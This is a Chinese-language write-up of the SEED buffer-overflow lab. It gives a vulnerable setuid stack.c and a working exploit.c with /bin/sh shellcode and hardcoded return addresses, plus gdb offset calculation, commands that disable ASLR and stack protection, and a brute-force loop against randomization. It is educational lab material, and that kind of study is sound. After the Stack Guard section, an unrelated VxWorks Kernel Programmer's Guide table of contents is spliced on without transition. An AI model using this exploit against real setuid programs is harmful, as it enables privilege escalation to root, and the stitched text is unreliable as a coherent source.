Buffer-Overflow Vulnerability Lab——山东大学网络攻防实验

实验描述

①实验环境

实验使用seed-ubuntu-12.04 系统,可在seed官网下载(包括实验程序),也可使用笔者提供的镜像和程序。

官网Link: http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

csdn资源Link: 

②实验内容

        实验给出了一个有缓冲区溢出漏洞的程序stack.c,它会从文件中读取数据,并拷贝至自己的缓冲区。我们需要利用这个漏洞获得root权 限,通过精心设计exploit.c 攻击程序,使其利用用户程序的漏洞产生badfile 文件,从而使用户程序读取badfile 时,被攻击者控制。 此外,我们将接触在Linux中实施的几种保护方案,并评估其有效性。

实验过程

①linux保护机制介绍

        为了防止缓冲区溢出漏洞,已经研究出了多种保护机制,在实验中接触到的是: Address Randomization 地址空间随机化、Non-executable Stack 不可执行栈、“Stack Guard”三种。在利用缓冲区溢出漏洞实现攻击或者单独考量某种保护机制的有效性的过程中,我们需要使某些机制失效(禁用)。

(1)禁止地址随机化机制

$ sudo su
    Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0

(2)允许地址随机化机制

$ sudo su
    Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

(3)允许或禁止可执行栈(在编译c程序时设置)

允许:

$ gcc -z execstack -o test test.c

禁止:

$ gcc -z noexecstack -o test test.c

(4)关闭gcc的“Stack Guard”

$ gcc -fno-stack-protector -o test test.c 

②gdb调试指令准备

为了能使编译后得到的可执行文档可以使用gdb调试,需要在编译时加上-g参数,如:gcc -g -o test test.c

(1)b main  ——> 在main函数执行出设置断点

(2)p /x &str  ——>  以十六进制打印str(字符串名)的存储地址

(3)disass bof  ——>  输出bof(函数名)的反汇编代码

C库函数strcpy()介绍

strcpy() 函数用来复制字符串,其原型为:char *strcpy(char *dest, const char *src);

【参数】dest 为目标字符串指针,src 为源字符串指针。

【返回值】成功执行后返回目标数组指针 dest。

此次缓冲区溢出实验,其本质是利用了strcpy()函数在复制字符串时不检测源字符串长度是否超过了为目的字符串分配的空间的大小,而出现了源字符串数容覆盖其他内存空间的缺陷。

注:值得一提的是,C语言的字符串特性是:在字符串最后一个字节存放空字符——“\0”,用来标志字符串结束。利用这一特性,后面的shellcode内存存放位置可以有两种方式(在后面介绍)


Task1: Exploiting the Vulnerability 

任务一:要求在关闭所有保护机制的情况下,完成漏洞程序的设计,并实现攻击。设计思路是,合理的填充badfile文件的内容,实现在用户程序stack.c读取该文件并拷贝到自己的缓冲区(即bof(char *str)函数栈帧存储空间)后,由于缓冲区溢出,执行bof函数的返回地址内存单元被覆盖且对应换成了shellcode的首地址,接下来用户程序执行shellcode并启动了带有用户程序权限的shell。

攻击程序exploit.c

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    strcpy(buffer+100,shellcode);			//将shellcode拷贝至buffer
    strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");		//在buffer特定偏移处起始的四个字节覆盖sellcode地址
    /* Save the contents to the file "badfile" */
	
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
        因为攻击程序exploit.c编译执行后,buffer的内容即badfile的数据。所以需要将shellcode拷贝至buffer,至于shellcode地址相对buffer的偏移值可以随意取,合理即可。

strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");
        这行代码,在buffer特定偏移处起始的四个字节中写入了一个字。攻击程序exploit.c构造badfile文件,而后被漏洞程序读取,进而拷贝进自己的缓冲区。所以漏洞程序有了shellcode,特定偏移是为了实现拷贝过程中shellcode的首地址正好覆盖bof函数执行后的返回地址。显然的覆盖的内容即漏洞程序shellcode地址,最后,无论是特定偏移量还是shellcode都可在gdb调试下获取。

禁止地址随机化

$ sudo su
    Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

编译漏洞程序stack.c,并设置权限(设置不可执行栈和关闭“Stack Guard”)

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

$ su root 
    Password: (enter root password)
# gcc -g -o stack -z execstack -fno-stack-protector stack.c 
# chmod 4755 stack 
# exit

④gdb下调试stack,获取shellcode地址和bof函数执行后返回地址

(1)获取shellcode地址

$ gdb stack
(gdb) b main
(gdb) r
(gdb) p /x &str


        从上图可以看到,漏洞程序读取badfile 文件到缓冲区str,且str的地址为0xbffff157,计算上shellcode偏移量100(0x64),则shellcode地址为0xbfff1bb

(2)计算bof函数执行后返回地址

接下来就应该获取bof函数执行后的返回地址了,在这之前我们需要知道函数调用过程中的堆栈帧结构


bof函数反汇编


        因为bof函数调用了strcpy函数,即把从文件读入的数据备份进了自己的缓冲区,为了实现shellcode地址覆盖掉返回地址,我们需要知道返回地址相对于buffer的偏移量,这样我们在构造badfile文件时在相应偏移量出写上codeshell地址即可。

        结合上面两幅图我们可以知道,在进入bof函数前,先向栈内压入了函数实参str的地址,然后是返回地址,随后进入函数,压入ebp寄存器(老),再修改ebp(新)和设置esp(分配存储空间)。。。。从反汇编代码中可以知道buffer首地址距ebp的偏移为0x20,则距返回地址的偏移为0x24。

⑤攻击测试

这样攻击程序exploit.c就可以设计好了,接下来编译exploit.c并执行,然后用漏洞程序测试。

$ gcc -o exploit exploit.c
$ ./exploit    // create the badfile 
$ ./stack      // launch the attack by running the vulnerable program 
# <---- Bingo! You’ve got a root shell!
# id


另一种方案

      前面的exploit.c程序中,在buffer首地址起始特定偏移处我们使用strcpy函数覆盖了四字节的shellcode首地址,所以“\xbb\xf1\xff\xbf”被当做字符串处理,也就会在后面加上字符串结束标识符“\0”,所以当stack.c程序在将文件内容(等同于str数组内容)拷贝到自己的缓冲区时,也是使用strcpy()方法,只会将“\xbb\xf1\xff\xbf”及其以前的数据拷贝到缓冲区,这样在main函数栈内的shellcode(str数组)就不会被覆盖,所以我们shellcode首地址必须由str数组首地址计算。

  strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");//在buffer特定偏移处起始的四个字节覆盖sellcode地址

      当然有了上面的解释,另一种方案就很明显了。我们使用另一种方法来填充shellcode首地址,相应的四字节的填充内容也要根据bof函数栈buffer数组首地址计算。

      注:关于怎样查看栈空间数据在两种方案下是否被覆盖的问题,可以在gdb调试环境下使用“x/100x  $sp”指令,可输出从栈顶起始100字的内存单元的十六进制数据(从低地址到高地址)。

1获取bof函数栈buffer数组首地址

$ gdb stack
(gdb) b main
(gdb) r
(gdb) n
(gdb) n
(gdb) s
(gdb) p /x &buffer

(2)计算shellcode地址并修改填充方式

0xbffff118 + 100(0x64) = 0xbffff7c

buffer[0x24]='\x7c';     
buffer[0x25]='\xf1';     
buffer[0x26]='\xff';     
buffer[0x27]='\xbf';

按照之前的步骤,同样的可以获得root shell。


Task2: Address Randomization

        现在我们来关注地址随机化这一保护机制。当开启地址随机化保护机制时,程序运行栈的基地址是随机的,但是对于每个特定的操作系统,地址随机范围都是确定的,如果将地址随机情况模拟显示出来,可以发现他们显示在为不同的较为集中的区域。

        但是无论怎么变化,在一定时间内,我们都可以假设会出现两次地址相同的情况。这样我们无需改变Task1的地址设置,合理的设置指令,不停地尝试运行漏洞程序,直到成功启动root shell。

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
    Password: (enter root password) 
# exit
$ sh -c "while [ 1 ]; do ./stack; done;"

Task3: Stack Guard
        现在我们考虑GCC提供的“Stack Guard”保护机制。在完成此任务之前,请记住首先关闭地址随机化,否则不知道哪个保护有助于实现保护。  在此任务中,可以考虑在存在“Stack Guard”的情况下重复Task1。 要做到这一点,你应该编译程序没有-fno-stack-protector'选项,所以将重新编译易受攻击的程序stack.c,以使用GCC的“Stack Guard”,再次执行Task1。 
        在GCC4.3.3和更新的版本,默认情况下启用“Stack Guard”。 因此,您可以使用前面提到的开关禁用堆栈保护。 在早期版本中,它在默认情况下被禁用。 如果使用较旧的GCC版本,您可能不必禁用Stack Guard。


        可以看到此时报出两个错误,第一个是因分配空间不足引起的"stack smashing detected",第二个是段错误。



PART I: CORE TECHNOLOGIES 1 Overview ...................................................................................................... 3 1.1 Introduction ...................................................................................................................... 3 1.2 Kernel Architecture ......................................................................................................... 3 1.3 Related Documentation Resources .............................................................................. 4 1.4 VxWorks Configuration and Build .............................................................................. 5 2 VxWorks Configuration ............................................................................. 7 2.1 Introduction ...................................................................................................................... 7 2.2 About VxWorks Configuration ................................................................................... 7 2.2.1 Default Configuration and Images ................................................................. 8 2.2.2 Configuration With VxWorks Image Projects ............................................... 8 2.2.3 Configuration With VxWorks Source Build Projects ................................... 8 2.2.4 Configuration and Customization .................................................................. 8 2.2.5 Configuration Tools: Workbench and vxprj .................................................. 9 2.3 VxWorks Image Projects: VIPs .................................................................................... 9 2.3.1 VxWorks Components ...................................................................................... 10 Component Names .......................................................................................... 10 Basic VxWorks Components ............................................................................ 11 2.3.2 Device Driver Selection ................................................................................... 13 2.3.3 Component Bundles and Configuration Profiles ........................................ 14 2.3.4 VxWorks Component Reference .................................................................... 14 2.4 VxWorks Source Build Projects: VSBs ....................................................................... 14 2.4.1 Basic Operating System VSB Options ........................................................... 16 BSP-Specific Optimizations ............................................................................. 16 VxWorks Kernel Programmer's Guide, 6.9 iv Inconsistent Cache Mode Support .................................................................. 17 System Viewer Instrumentation Support ...................................................... 17 Real-Time Process Support .............................................................................. 17 Object Management Support ........................................................................... 17 Error Detection and Reporting Policy Hooks ............................................... 18 Task Switch Hook Support .............................................................................. 18 Task Create Hook Support ............................................................................... 18 CPU Power Management Support ................................................................. 19 Advanced Options ............................................................................................ 19 VxWorks BSP Validation Test Suite Support ................................................. 19 Symmetric Multiprocessor (SMP) Support ................................................... 19 SMP Determinism ............................................................................................. 19 MIPC Support .................................................................................................... 20 WRLOAD Support ............................................................................................ 20 Task-Specific Current Working Directory ...................................................... 20 Device Name Length ........................................................................................ 20 NFS V3 Server Optimization ........................................................................... 20 DOSFS Name Length Compatible .................................................................. 21 2.4.2 VSB Profiles ........................................................................................................ 21 2.4.3 Using VSB Projects to Create VxWorks Systems: Basic Steps .................... 21 2.4.4 Developing Kernel Applications for VSB Systems ..................................... 21 2.5 VxWorks Without Networking ..................................................................................... 22 2.6 Small-Footprint VxWorks Configuration ................................................................... 22 2.6.1 About Small-Footprint VxWorks .................................................................... 22 Kernel Facilities ................................................................................................. 22 Unsupported Facilities ..................................................................................... 23 BSPs ..................................................................................................................... 23 2.6.2 Configuring Small Footprint VxWorks .......................................................... 23 Small-Footprint VSB Profile and Options ...................................................... 24 VSB Options Specific to the Small-Footprint Profile .................................... 24 Small-Footprint VIP Profile and Components .............................................. 25 Optional Components for a Small Footprint VIP Project ............................ 25 2.6.3 Configuration and Build Steps for Small-Footprint VxWorks ................... 25 2.6.4 Writing Applications for Small-Footprint VxWorks .................................... 26 2.6.5 Example Application ........................................................................................ 26 2.6.6 Debugging Small-Footprint VxWorks ............................................................ 28 2.7 VxWorks Image Types ................................................................................................... 28 2.7.1 Default VxWorks Images ................................................................................ 29 2.7.2 VxWorks Images for Development and Production Systems ..................... 29 2.7.3 Boot Parameter Configuration for Standalone VxWorks Images .............. 30 2.8 Image Size Considerations ............................................................................................ 30 2.8.1 Boot Loader and Downloadable Image ......................................................... 30 2.8.2 Self-Booting Image ............................................................................................ 31 Contents v 3 Boot Loader ................................................................................................. 33 3.1 Introduction ...................................................................................................................... 33 3.2 Using a Default Boot Loader ......................................................................................... 34 3.3 Boot Loader Image Types ............................................................................................... 35 3.4 Boot Loader Shell ............................................................................................................ 35 3.4.1 Boot Loader Shell Commands ......................................................................... 36 3.5 Boot Parameters ............................................................................................................... 39 3.5.1 Displaying Current Boot Parameters ............................................................. 40 3.5.2 Description of Boot Parameters ...................................................................... 41 3.5.3 Changing Boot Parameters Interactively ....................................................... 44 3.6 Rebooting VxWorks ........................................................................................................ 45 3.7 Configuring and Building Boot Loaders .................................................................... 46 3.7.1 Boot Loader Profiles .......................................................................................... 46 3.7.2 Boot Loader Components ................................................................................ 47 3.7.3 Configuring Boot Parameters Statically ......................................................... 47 3.7.4 Enabling Networking for Non-Boot Interfaces ............................................. 48 3.7.5 Selecting a Boot Device ..................................................................................... 48 3.7.6 Reconfiguring Boot Loader Memory Layout for 32-Bit VxWorks ............. 50 Redefining the Boot Loader Link Address for Custom Boot Loaders ....... 50 Reconfiguring Memory Layout for a Persistent Memory Region ............. 51 3.7.7 Reconfiguring Boot Loader Memory Layout for 64-Bit VxWorks ............. 53 3.7.8 Building Boot Loaders ...................................................................................... 53 3.8 Installing Boot Loaders .................................................................................................. 53 3.9 Booting From a Network ............................................................................................... 53 3.10 Booting From a Target File System ............................................................................. 55 3.11 Booting From the Host File System Using TSFS ..................................................... 55 4 Kernel Applications .................................................................................... 57 4.1 Introduction ...................................................................................................................... 57 4.2 About Kernel Applications ........................................................................................... 58 4.3 Comparing Kernel Applications with RTP Applications ....................................... 59 4.4 C and C++ Libraries ........................................................................................................ 60 VxWorks Kernel Programmer's Guide, 6.9 vi 4.5 Kernel Application Structure ........................................................................................ 60 4.6 VxWorks Header Files .................................................................................................... 61 4.6.1 VxWorks Header File: vxWorks.h ................................................................... 61 4.6.2 Other VxWorks Header Files ........................................................................... 62 4.6.3 ANSI Header Files ............................................................................................ 62 4.6.4 ANSI C++ Header Files .................................................................................... 62 4.6.5 The -I Compiler Flag ......................................................................................... 62 4.6.6 VxWorks Nested Header Files ........................................................................ 62 4.6.7 VxWorks Private Header Files ........................................................................ 63 4.7 Custom Header Files ....................................................................................................... 63 4.8 Static Instantiation of Kernel Objects ......................................................................... 64 4.8.1 About Static Instantiation of Kernel Objects ................................................. 64 Kernel Objects That can be Instantiated Statically ....................................... 65 Static Instantiation and Code Size .................................................................. 65 Advantages of Static Instantiation .................................................................. 65 Applications and Static Instantiation ............................................................. 66 4.8.2 Scope Of Static Declarations ............................................................................ 66 4.8.3 Caveat With Regard to Macro Use .................................................................. 66 4.8.4 Static Instantiation of Tasks ............................................................................. 66 4.8.5 Static Instantiation Of Semaphores ................................................................ 67 4.8.6 Static Instantiation of Message Queues ......................................................... 68 4.8.7 Static Instantiation of Watchdog Timers ........................................................ 68 4.9 Boot-Time Hook Routine Facility ............................................................................... 69 Boot-Time Hook Routine Stubs and Components ....................................... 69 Using Boot-Time Hook Routine Stubs ........................................................... 70 4.10 Kernel Applications and Kernel Component Requirements ................................. 71 4.11 Building Kernel Application Modules ....................................................................... 71 4.12 Downloading Kernel Application Object Modules to a Target ............................. 72 4.13 Linking Kernel Application Object Modules with VxWorks ................................ 72 4.14 Configuring VxWorks to Run Applications Automatically ................................... 72 5 C++ Development ....................................................................................... 75 5.1 Introduction ...................................................................................................................... 75 5.2 Configuring VxWorks for C++ ..................................................................................... 76 5.3 C++ Header Files ............................................................................................................. 76 Contents vii 5.4 Spawning Tasks That Use C++ ..................................................................................... 76 5.5 Calls Between C and C++ Code .................................................................................... 77 5.6 C++ Compiler Caveats .................................................................................................... 77 5.7 Using C++ in Signal Handlers and ISRs ................................................................... 78 5.8 Downloadable Kernel Modules in C++ ..................................................................... 78 5.9 C++ Compiler Differences ............................................................................................ 78 5.9.1 Template Instantiation ...................................................................................... 78 5.9.2 Run-Time Type Information ............................................................................ 80 5.10 Namespaces ...................................................................................................................... 80 5.11 C++ Exception Handling ................................................................................................ 81 5.12 Standard Template Library (STL) ................................................................................ 81 5.13 C++ Demo Example ........................................................................................................ 81 6 Multitasking ................................................................................................. 83 6.1 Introduction ...................................................................................................................... 83 6.2 About Tasks and Multitasking ..................................................................................... 84 6.2.1 Task States and Transitions .............................................................................. 85 Tasks States and State Symbols ....................................................................... 85 Illustration of Basic Task State Transitions .................................................... 86 6.3 VxWorks System Tasks .................................................................................................. 87 Basic VxWorks Tasks ......................................................................................... 88 Tasks for Optional Components ..................................................................... 91 6.4 Task Scheduling .............................................................................................................. 93 6.4.1 Task Priorities .................................................................................................... 93 6.4.2 VxWorks Traditional Scheduler ...................................................................... 93 Priority-Based Preemptive Scheduling .......................................................... 94 Scheduling and the Ready Queue ................................................................. 94 Round-Robin Scheduling ................................................................................. 95 6.5 Task Creation and Management ................................................................................... 97 6.5.1 Task Creation and Activation .......................................................................... 97 Static instantiation of Tasks ............................................................................. 98 6.5.2 Task Names and IDs ......................................................................................... 98 Task Naming Rules ........................................................................................... 99 Task Name and ID Routines ............................................................................ 99 VxWorks Kernel Programmer's Guide, 6.9 viii 6.5.3 Inter-Process Communication With Public Tasks ......................................... 99 6.5.4 Task Creation Options ...................................................................................... 100 6.5.5 Task Stack ........................................................................................................... 102 Task Stack Protection ........................................................................................ 102 6.5.6 Task Information ............................................................................................... 103 6.5.7 Task Deletion and Deletion Safety .................................................................. 104 6.5.8 Task Execution Control ..................................................................................... 105 6.5.9 Task Scheduling Control .................................................................................. 106 6.5.10 Tasking Extensions: Using Hook Routines .................................................... 107 6.6 Task Error Status: errno .................................................................................................. 108 6.6.1 Layered Definitions of errno ........................................................................... 109 6.6.2 A Separate errno Value for Each Task ............................................................ 109 6.6.3 Error Return Convention ................................................................................. 109 6.6.4 Assignment of Error Status Values ................................................................. 110 6.7 Task Exception Handling ............................................................................................... 110 6.8 Shared Code and Reentrancy ........................................................................................ 111 6.8.1 Dynamic Stack Variables .................................................................................. 112 6.8.2 Guarded Global and Static Variables ............................................................. 112 6.8.3 Task-Specific Variables .................................................................................... 113 Thread-Local Variables: __thread Storage Class ........................................... 113 taskVarLib and Task Variables ........................................................................ 114 6.8.4 Multiple Tasks with the Same Main Routine ................................................ 114 7 Intertask and Interprocess Communication ............................................. 117 7.1 Introduction ...................................................................................................................... 117 7.2 About Intertask and Interprocess Communication .................................................. 118 7.3 Shared Data Structures ................................................................................................... 119 7.4 Interrupt Locks ............................................................................................................... 120 7.5 Task Locks ........................................................................................................................ 121 7.6 Semaphores ...................................................................................................................... 122 7.6.1 Inter-Process Communication With Public Semaphores ............................. 123 7.6.2 Semaphore Creation and Use .......................................................................... 123 Options for Scalable and Inline Semaphore Routines ................................ 125 Static Instantiation of Semaphores ................................................................. 125 Scalable and Inline Semaphore Take and Give Routines ........................... 126 Contents ix 7.6.3 Binary Semaphores ........................................................................................... 126 Mutual Exclusion .............................................................................................. 127 Synchronization ................................................................................................. 128 7.6.4 Mutual-Exclusion Semaphores ....................................................................... 129 Priority Inversion and Priority Inheritance ................................................... 129 Deletion Safety ................................................................................................... 132 Recursive Resource Access .............................................................................. 133 7.6.5 Counting Semaphores ...................................................................................... 134 7.6.6 Read/Write Semaphores ................................................................................. 134 Specification of Read or Write Mode .............................................................. 135 Precedence for Write Access Operations ....................................................... 136 Read/Write Semaphores and System Performance ..................................... 136 7.6.7 Special Semaphore Options ............................................................................. 136 Semaphore Timeout .......................................................................................... 136 Semaphores and Queueing .............................................................................. 137 Semaphores and VxWorks Events .................................................................. 137 7.7 Message Queues .............................................................................................................. 137 7.7.1 Inter-Process Communication With Public Message Queues ..................... 138 7.7.2 Message Creation and Use ............................................................................... 138 Static Instantiation of Message Queues ......................................................... 139 Message Queue Timeout .................................................................................. 139 Message Queue Urgent Messages .................................................................. 140 Message Queues and Queuing Options ........................................................ 140 7.7.3 Displaying Message Queue Attributes .......................................................... 141 7.7.4 Servers and Clients with Message Queues .................................................... 141 7.7.5 Message Queues and VxWorks Events .......................................................... 142 7.8 Pipes ................................................................................................................................... 142 7.8.1 Creating Pipes ................................................................................................... 142 7.8.2 Writing to Pipes from ISRs ............................................................................... 142 7.8.3 I/O Control Functions ...................................................................................... 143 7.9 VxWorks Events ............................................................................................................... 143 7.9.1 Configuring VxWorks for Events .................................................................... 144 7.9.2 About Event Flags and the Task Events Register ......................................... 144 7.9.3 Receiving Events ............................................................................................... 145 7.9.4 Sending Events .................................................................................................. 146 7.9.5 Inter-Process Communication With Events .................................................. 148 7.9.6 Events Routines ................................................................................................. 148 7.9.7 Code Example ................................................................................................... 149 7.9.8 Show Routines and Events .............................................................................. 149 VxWorks Kernel Programmer's Guide, 6.9 x 7.10 Inter-Process Communication With Public Objects ................................................. 149 Creating and Naming Public and Private Objects ....................................... 150 Example of Inter-process Communication With a Public Semaphore ...... 150 7.11 About VxWorks API Timeout Parameters .................................................................. 152 7.12 About Object Ownership and Resource Reclamation ............................................. 152 8 Signals, ISRs, and Watchdog Timers ........................................................ 155 8.1 Introduction ...................................................................................................................... 155 8.2 Signals .............................................................................................................................. 156 8.2.1 Configuring VxWorks for Signals .................................................................. 157 8.2.2 Basic Signal Routines ........................................................................................ 158 8.2.3 Queued Signal Routines .................................................................................. 159 8.2.4 Signal Events ...................................................................................................... 162 8.2.5 Signal Handlers ................................................................................................. 163 8.3 Interrupt Service Routines: ISRs ................................................................................. 166 8.3.1 Configuring VxWorks for ISRs ........................................................................ 166 Configuring the Interrupt Stack ...................................................................... 166 Adding Show Routine Support ....................................................................... 167 8.3.2 Writing ISRs ....................................................................................................... 167 Restrictions on ISRs ........................................................................................... 167 Facilities Available for ISRs .............................................................................. 169 Reserving High Interrupt Levels .................................................................... 170 8.3.3 System Clock ISR Modification ....................................................................... 171 8.3.4 Connecting ISRs to Interrupts ......................................................................... 171 8.3.5 Getting Information About ISRs ..................................................................... 172 8.3.6 Debugging ISRs ................................................................................................. 173 8.4 Watchdog Timers ............................................................................................................. 174 Static Instantiation of Watchdog Timers ........................................................ 175 8.4.1 Inter-Process Communication With Public Watchdog Timers ................... 176 9 POSIX Facilities .......................................................................................... 177 9.1 Introduction ...................................................................................................................... 178 9.2 Configuring VxWorks with POSIX Facilities ............................................................ 179 9.2.1 VxWorks Components for POSIX Facilities .................................................. 179 9.3 General POSIX Support ................................................................................................. 180 9.4 POSIX Header Files ........................................................................................................ 181 Contents xi 9.5 POSIX Namespace .......................................................................................................... 183 9.6 POSIX Clocks and Timers ............................................................................................. 183 9.7 POSIX Asynchronous I/O .............................................................................................. 186 9.8 POSIX Advisory File Locking ....................................................................................... 186 9.9 POSIX Page-Locking Interface ..................................................................................... 186 9.10 POSIX Threads ................................................................................................................ 187 9.10.1 POSIX Thread Attributes ................................................................................. 188 9.10.2 VxWorks-Specific Pthread Attributes ............................................................ 188 9.10.3 Specifying Attributes when Creating Pthreads ........................................... 189 9.10.4 POSIX Thread Creation and Management .................................................... 190 9.10.5 POSIX Thread Attribute Access ...................................................................... 190 9.10.6 POSIX Thread Private Data ............................................................................. 191 9.10.7 POSIX Thread Cancellation ............................................................................. 192 9.11 POSIX Thread Mutexes and Condition Variables .................................................... 193 9.11.1 Thread Mutexes ................................................................................................. 193 Protocol Mutex Attribute ................................................................................ 194 Priority Ceiling Mutex Attribute .................................................................... 195 9.11.2 Condition Variables .......................................................................................... 195 9.12 POSIX and VxWorks Scheduling ................................................................................. 196 9.12.1 Differences in POSIX and VxWorks Scheduling ........................................... 197 9.12.2 POSIX and VxWorks Priority Numbering ..................................................... 198 9.12.3 Default Scheduling Policy ................................................................................ 198 9.12.4 VxWorks Traditional Scheduler ...................................................................... 198 9.12.5 POSIX Threads Scheduler ................................................................................ 199 9.12.6 POSIX Scheduling Routines ............................................................................ 203 9.12.7 Getting Scheduling Parameters: Priority Limits and Time Slice ................ 204 9.13 POSIX Semaphores ......................................................................................................... 204 9.13.1 Comparison of POSIX and VxWorks Semaphores ....................................... 205 9.13.2 Using Unnamed Semaphores .......................................................................... 206 9.13.3 Using Named Semaphores .............................................................................. 208 9.14 POSIX Message Queues ................................................................................................. 211 9.14.1 Comparison of POSIX and VxWorks Message Queues ............................... 212 9.14.2 POSIX Message Queue Attributes .................................................................. 213 9.14.3 Displaying Message Queue Attributes .......................................................... 214 VxWorks Kernel Programmer's Guide, 6.9 xii 9.14.4 Communicating Through a Message Queue ................................................ 215 9.14.5 Notification of Message Arrival ..................................................................... 218 9.15 POSIX Signals .................................................................................................................. 222 9.16 POSIX Memory Management ....................................................................................... 222 10 Memory Management ................................................................................. 223 10.1 Introduction ...................................................................................................................... 223 10.2 32-Bit VxWorks Memory Layout ................................................................................. 224 10.2.1 Displaying Information About Memory Layout .......................................... 224 10.2.2 System Memory Map Without RTP Support ................................................ 224 10.2.3 System Memory Map with RTP Support ....................................................... 226 10.2.4 System RAM Autosizing .................................................................................. 228 10.2.5 Reserved Memory: User-Reserved Memory and Persistent Memory ...... 228 10.3 64-Bit VxWorks Memory Layout ................................................................................. 229 10.3.1 Displaying Information About Memory Layout .......................................... 230 10.3.2 Virtual Memory Regions .................................................................................. 230 Kernel System Virtual Memory Region ......................................................... 231 Kernel Virtual Memory Pool Region .............................................................. 232 Kernel Reserved Memory Region ................................................................... 232 Shared User Virtual Memory Region ............................................................. 232 RTP Private Virtual Memory Region .............................................................. 232 10.3.3 Global RAM Pool .............................................................................................. 233 10.3.4 Kernel Memory Map ........................................................................................ 233 Kernel System Memory .................................................................................... 235 Kernel Common Heap ...................................................................................... 235 DMA32 Heap ..................................................................................................... 235 User-Reserved Memory ................................................................................... 235 Persistent Memory ............................................................................................ 235 10.3.5 Reserved Memory Configuration: User-Reserved Memory and Persistent Memory .............................................................................................................. 236 10.3.6 System RAM Autosizing .................................................................................. 236 10.4 About VxWorks Memory Allocation Facilities ......................................................... 236 10.5 32-Bit VxWorks Heap and Memory Partition Management .................................. 237 10.5.1 Configuring the Kernel Heap and the Memory Partition Manager .......... 238 10.5.2 Basic Heap and Memory Partition Manager ................................................. 238 10.5.3 Full Heap and Memory Partition Manager ................................................... 238 10.6 64-Bit VxWorks Heap and Memory Partition Management .................................. 239 10.6.1 Kernel Common Heap ...................................................................................... 239 Contents xiii 10.6.2 Kernel Proximity Heap ..................................................................................... 240 10.6.3 DMA32 Heap ..................................................................................................... 240 10.7 SMP-Optimized Memory Allocation .......................................................................... 241 10.7.1 Configuration ..................................................................................................... 241 10.7.2 Usage scenarios ................................................................................................. 241 10.8 Memory Pools .................................................................................................................. 242 10.9 POSIX Memory Management ....................................................................................... 242 10.9.1 POSIX Memory Management APIs ................................................................ 243 10.9.2 POSIX Memory Mapping ................................................................................ 244 10.9.3 POSIX Memory Protection ............................................................................... 244 10.9.4 POSIX Memory Locking .................................................................................. 244 10.10 Memory Mapping Facilities .......................................................................................... 245 10.10.1 POSIX Memory-Mapped Files ........................................................................ 247 10.10.2 POSIX Shared Memory Objects ...................................................................... 247 10.10.3 Anonymous Memory Mapping ...................................................................... 247 10.10.4 Device Memory Objects ................................................................................... 248 10.10.5 Shared Data Regions ......................................................................................... 249 10.11 Virtual Memory Management ..................................................................................... 249 10.11.1 Configuring Virtual Memory Management .................................................. 250 10.11.2 Managing Virtual Memory Programmatically ............................................. 251 Modifying Page States ...................................................................................... 252 Making Memory Non-Writable ...................................................................... 253 Invalidating Memory Pages ............................................................................ 255 Locking TLB Entries .......................................................................................... 255 Page Size Optimization .................................................................................... 255 Setting Page States in ISRs ............................................................................... 256 10.11.3 Troubleshooting ................................................................................................. 256 10.12 Additional Memory Protection Features ................................................................... 257 10.12.1 Configuring VxWorks for Additional Memory Protection ......................... 257 10.12.2 Stack Overrun and Underrun Detection ........................................................ 258 10.12.3 Non-Executable Task Stack .............................................................................. 258 10.12.4 Text Segment Write Protection ........................................................................ 258 10.12.5 Exception Vector Table Write Protection ........................................................ 259 10.13 Memory Error Detection ................................................................................................ 259 10.13.1 Heap and Partition Memory Instrumentation .............................................. 259 10.13.2 Compiler Instrumentation: 32-Bit VxWorks .................................................. 264 VxWorks Kernel Programmer's Guide, 6.9 xiv 11 I/O System ................................................................................................... 269 11.1 Introduction ...................................................................................................................... 269 11.2 About the VxWorks I/O System ................................................................................... 270 Differences Between VxWorks and Host System I/O ................................. 270 11.3 Configuring VxWorks With I/O Facilities .................................................................. 271 11.4 I/O Devices, Named Files, and File Systems ............................................................ 272 11.5 Remote File System Access From VxWorks ............................................................... 273 NFS File System Access from VxWorks ......................................................... 273 Non-NFS Network File System Access from VxWorks WIth FTP or RSH 273 11.6 Basic I/O ............................................................................................................................ 275 11.6.1 File Descriptors .................................................................................................. 275 File Descriptor Table ......................................................................................... 276 11.6.2 Standard Input, Standard Output, and Standard Error .............................. 276 11.6.3 Standard I/O Redirection ................................................................................ 276 Issues with Standard I/O Redirection ........................................................... 277 11.6.4 Open and Close ................................................................................................. 278 11.6.5 Create and Remove ........................................................................................... 280 11.6.6 Read and Write .................................................................................................. 281 11.6.7 File Truncation ................................................................................................... 281 11.6.8 I/O Control ........................................................................................................ 282 11.6.9 Pending on Multiple File Descriptors with select( ) ..................................... 282 11.6.10 POSIX File System Routines ............................................................................ 284 11.7 Standard I/O ..................................................................................................................... 285 11.7.1 Configuring VxWorks With Standard I/O .................................................... 285 11.7.2 About printf( ), sprintf( ), and scanf( ) ............................................................ 286 11.7.3 About Standard I/O and Buffering 